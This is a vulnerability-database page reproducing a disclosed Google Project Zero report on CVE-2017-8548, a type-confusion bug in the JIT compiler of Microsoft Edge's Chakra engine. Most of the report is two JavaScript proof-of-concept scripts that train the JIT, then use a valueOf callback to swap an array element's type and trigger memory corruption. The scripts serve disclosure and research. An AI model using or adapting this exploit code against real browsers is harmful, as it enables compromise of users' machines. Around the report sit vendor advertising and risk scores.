Lucene search
K

Microsoft Edge Chakra Incorrect Jit Optimization

🗓️ 16 Aug 2017 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

Microsoft Edge Chakra Incorrect Jit Optimizatio

Related
Code
`Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #2  
  
CVE-2017-8548  
  
  
I think the fix for #1045 is incorrect.  
  
Here's the original PoC.  
  
'use strict';  
  
function func(a, b, c) {  
a[0] = 1.2;  
b[0] = c;  
a[1] = 2.2;  
a[0] = 2.3023e-320;  
}  
  
function main() {  
var a = [1.1, 2.2];  
var b = new Uint32Array(100);  
  
// force to optimize  
for (var i = 0; i < 0x10000; i++)  
func(a, b, i);  
  
func(a, b, {valueOf: () => {  
a[0] = {};  
  
return 0;  
}});  
  
a[0].toString();  
}  
  
main();  
  
  
I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well.  
  
PoC:  
'use strict';  
  
function func(a, b, c) {  
a[0] = 1.2;  
b[0] = c;  
a[1] = 2.2;  
a[0] = 2.3023e-320;  
}  
  
function main() {  
var a = [1.1, 2.2];  
var b = new Uint32Array(0); // <<--------- 100 -> 0  
  
// force to optimize  
for (var i = 0; i < 0x10000; i++)  
func(a, b, i);  
  
func(a, b, {valueOf: () => {  
a[0] = {};  
  
return 0;  
}});  
  
a[0].toString();  
}  
  
main();  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Aug 2017 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.74995
45